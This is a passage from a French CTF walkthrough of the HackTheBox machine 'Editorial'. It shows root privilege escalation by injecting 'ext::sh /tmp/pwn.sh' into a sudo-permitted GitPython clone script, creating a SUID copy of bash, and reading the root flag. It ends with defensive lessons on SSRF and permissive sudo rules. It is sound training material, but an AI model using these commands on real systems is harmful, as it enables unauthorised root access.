cat > /tmp/pwn.sh << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
Tu rends ensuite le script exécutable :
chmod +x /tmp/pwn.sh
Le principe est simple :
/bin/bashest copié vers/tmp/rootbash;chmod 4755ajoute le bit SUID. Le premier chiffre,4, correspond au bit SUID. Il indique que le programme doit s’exécuter avec les droits de son propriétaire, iciroot;- comme la copie est effectuée par une commande exécutée avec les privilèges
root, le fichier/tmp/rootbashest créé avecrootcomme propriétaire ; - lorsque tu l’exécutes ensuite avec l’option
-p, Bash conserve les privilèges effectifs deroot.
Tu exécutes maintenant le script autorisé par sudo en lui passant une valeur ext:: qui lance /tmp/pwn.sh :
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh /tmp/pwn.sh'
Même si le clonage Git échoue ensuite, ce n’est pas le plus important.
Ce qui compte, c’est que la commande passée à ext:: a été exécutée avant l’erreur Git. La copie SUID de Bash est donc créée dans /tmp.
Tu peux vérifier sa présence :
ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 May 27 17:42 /tmp/rootbash
Le s dans les permissions confirme que le bit SUID est présent :
-rwsr-xr-x
Obtention d’un shell root
Il ne reste plus qu’à exécuter cette copie de Bash avec l’option -p :
/tmp/rootbash -p
L’option -p est importante : elle indique à Bash de conserver les privilèges effectifs hérités du binaire SUID.
Sans cette option, Bash peut abandonner les privilèges élevés par mesure de sécurité.
Tu vérifies ensuite ton identité :
rootbash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
L’identifiant utilisateur réel reste prod, mais l’identifiant effectif est maintenant root.
Tu n’es pas simplement connecté avec un autre utilisateur : tu exécutes maintenant tes commandes avec les privilèges effectifs de root.
root.txt
Tu peux donc lire le flag final :
rootbash-5.1# cat /root/root.txt
2ffcxxxxxxxxxxxxxxxxxxxxxxxx1638
Tu as maintenant le contrôle effectif root sur la machine. La lecture de root.txt marque la fin de l’escalade de privilèges et du challenge CTF.
Conclusion
Editorial est une machine HTB Easy intéressante car elle montre bien qu’une fonctionnalité web apparemment simple peut devenir une porte d’entrée lorsqu’elle manipule des URL fournies par l’utilisateur.
La prise de pied repose sur une SSRF dans la fonctionnalité d’upload de couverture. En forçant l’application à interroger des services internes, tu découvres une API locale qui expose des informations sensibles, dont des identifiants permettant d’obtenir un accès SSH.
L’escalade de privilèges repose ensuite sur une règle sudo trop permissive. L’utilisateur prod peut exécuter un script Python avec les droits root, et ce script utilise GitPython pour cloner un dépôt en autorisant le protocole ext. Cette configuration permet de faire exécuter une commande locale par Git, puis de créer une copie SUID de Bash afin d’obtenir un shell avec les privilèges effectifs de root.
Cette machine illustre donc deux points importants à retenir :
- une application web ne doit jamais laisser un utilisateur contrôler librement une URL appelée côté serveur ;
- une règle sudo doit toujours être analysée avec les bibliothèques et les commandes réellement appelées par le script autorisé.
Au final, Editorial propose un chemin d’exploitation très pédagogique : SSRF pour la prise de pied, puis abus de GitPython et du protocole ext:: pour l’escalade de privilèges Linux.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
